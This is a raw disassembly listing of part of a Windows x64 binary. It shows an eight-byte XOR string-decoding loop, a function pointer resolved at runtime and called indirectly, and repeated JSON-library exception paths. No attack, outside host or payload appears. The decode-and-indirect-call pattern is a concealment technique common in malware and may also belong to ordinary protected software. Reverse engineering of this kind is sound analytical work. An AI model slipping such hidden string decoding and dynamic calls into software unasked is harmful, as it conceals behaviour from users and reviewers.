mov eax, 0x8d3dcb09
imul edi
add edx, edi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, dil
sub al, cl
add al, 0x37
xor byte [r8], al
inc edi
lea r8, [r8 + 1]
cmp edi, 8
jl 0x1400292d0
call fcn.140039b70
movzx ecx, word [0x14098200c]
cmp byte [0x14098200d], 0
mov word [rbp + 0x88], cx
mov rbx, rax
je 0x14002932c
mov byte [rbp + 0x88], Ordinal_50
xor byte [rbp + 0x89], 0x38
lea rcx, [rbp + 0x88]
call fcn.1401753dc
mov ecx, eax
call rbx
nop
lea rcx, [rbp + 0x300]
call fcn.140010b40
nop
mov rcx, qword [rbp + 0xb8]
call fcn.14015a48c
nop
movzx edx, byte [rbp + 0x170]
lea rcx, [rbp + 0x178]
call fcn.140038180
nop
movzx edx, byte [rbp + 0x190]
lea rcx, [rbp + 0x198]
call fcn.140038180
nop
movzx edx, byte [rbp + 0x180]
lea rcx, [rbp + 0x188]
call fcn.140038180
nop
movzx edx, byte [rbp + 0x1c0]
lea rcx, [rbp + 0x1c8]
call fcn.140038180
mov rcx, qword [rbp + 0x520]
xor rcx, rsp
call fcn.14015a1f0
lea r11, [rsp + 0x640]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
lea rcx, [rbp + 0x170]
call fcn.140038760
mov rdx, rax
lea rcx, [rbp - 0x78]
call fcn.140011c10
nop
mov r8, rax
lea rdx, str.cannot_use_operator___with_a_string_argument_with
lea rcx, [rbp - 0x40]
call fcn.140039330
nop
mov r8, rax
mov edx, 0x131
lea rcx, [rbp + 0xf0]
call fcn.14001f3c0
lea rdx, [0x1409a43e0]
lea rcx, [rbp + 0xf0]
call fcn.14015c9b0
nop
lea rdx, str.cannot_compare_iterators_of_different_containers
lea rcx, [rsp + 0x68]
call fcn.140011c10
nop
lea r8, [rsp + 0x68]
mov edx, 0xd4
lea rcx, [rbp + 0xf0]
call fcn.14001f260
lea rdx, [0x1409a4178]
lea rcx, [rbp + 0xf0]
call fcn.14015c9b0
nop
lea rdx, str.cannot_compare_iterators_of_different_containers
lea rcx, [rsp + 0x68]
call fcn.140011c10
nop
lea r8, [rsp + 0x68]
mov edx, 0xd4
lea rcx, [rbp + 0xf0]
call fcn.14001f260
lea rdx, [0x1409a4178]
lea rcx, [rbp + 0xf0]
call fcn.14015c9b0
nop
lea rcx, [rbp + 0x180]
call fcn.140038760
mov rdx, rax
lea rcx, [rbp - 0x78]
call fcn.140011c10
nop
mov r8, rax
lea rdx, str.cannot_use_operator___with_a_string_argument_with
lea rcx, [rbp - 0x40]
call fcn.140039330
nop
mov r8, rax
mov edx, 0x131
lea rcx, [rbp + 0xf0]
call fcn.14001f3c0
lea rdx, [0x1409a43e0]
lea rcx, [rbp + 0xf0]
call fcn.14015c9b0
nop
lea rcx, [rbp + 0x180]
call fcn.140038760
mov rdx, rax
lea rcx, [rbp + 0xc8]
call fcn.140011c10
nop
mov r8, rax
lea rdx, str.cannot_use_operator___with_a_string_argument_with
lea rcx, [rbp + 0x150]
call fcn.140039330
nop
mov r8, rax
mov edx, 0x131
lea rcx, [rbp - 0x78]
call fcn.14001f3c0
lea rdx, [0x1409a43e0]
lea rcx, [rbp - 0x78]
call fcn.14015c9b0
nop
lea rdx, str.cannot_get_value
lea rcx, [rsp + 0x68]
call fcn.140011c10
nop
lea r8, [rsp + 0x68]
mov edx, Ordinal_217
lea rcx, [rbp - 0x20]
call fcn.14001f260
lea rdx, [0x1409a4178]
lea rcx, [rbp - 0x20]
call fcn.14015c9b0
nop
lea rcx, [rbp + 0x150]
call fcn.140038760
mov rdx, rax
lea rcx, [rbp + 0x90]
call fcn.140011c10
nop
mov r8, rax
lea rdx, str.type_must_be_string__but_is
lea rcx, [rbp + 0x2d0]
call fcn.140039330
nop
mov r8, rax
mov edx, 0x12e
lea rcx, [rbp + 0x18]
call fcn.14001f3c0
lea rdx, [0x1409a43e0]
lea rcx, [rbp + 0x18]
call fcn.14015c9b0
nop
lea rdx, str.cannot_get_value
lea rcx, [rsp + 0x68]
call fcn.140011c10
nop
lea r8, [rsp + 0x68]
mov edx, Ordinal_217
lea rcx, [rbp + 0x50]
call fcn.14001f260
lea rdx, [0x1409a4178]
lea rcx, [rbp + 0x50]
call fcn.14015c9b0
nop
call fcn.14016a128
nop
lea rcx, [rbp + 0x190]
call fcn.140038760
mov rdx, rax
lea rcx, [rbp - 0x40]
call fcn.140011c10
nop
mov r8, rax
lea rdx, str.cannot_use_operator___with_a_string_argument_with
lea rcx, [rbp - 0x78]
call fcn.140039330
nop
mov r8, rax
mov edx, 0x131
lea rcx, [rbp + 0xf0]
call fcn.14001f3c0
lea rdx, [0x1409a43e0]
lea rcx, [rbp + 0xf0]
call fcn.14015c9b0
nop
lea rcx, [rbp + 0x170]
call fcn.140038760
mov rdx, rax
lea rcx, [rbp - 0x78]
call fcn.140011c10
nop
mov r8, rax
lea rdx, str.cannot_use_operator___with_a_string_argument_with
lea rcx, [rbp - 0x40]
call fcn.140039330
nop
mov r8, rax
mov edx, 0x131
lea rcx, [rbp + 0xf0]
call fcn.14001f3c0
lea rdx, [0x1409a43e0]
lea rcx, [rbp + 0xf0]
call fcn.14015c9b0
nop
lea rcx, [rbp + 0x170]
call fcn.140038760
mov rdx, rax
lea rcx, [rbp - 0x78]
call fcn.140011c10
nop
mov r8, rax
lea rdx, str.cannot_use_operator___with_a_string_argument_with
lea rcx, [rbp - 0x40]
call fcn.140039330
nop
mov r8, rax
mov edx, 0x131
lea rcx, [rbp + 0xf0]
call fcn.14001f3c0
lea rdx, [0x1409a43e0]
lea rcx, [rbp + 0xf0]
call fcn.14015c9b0
int3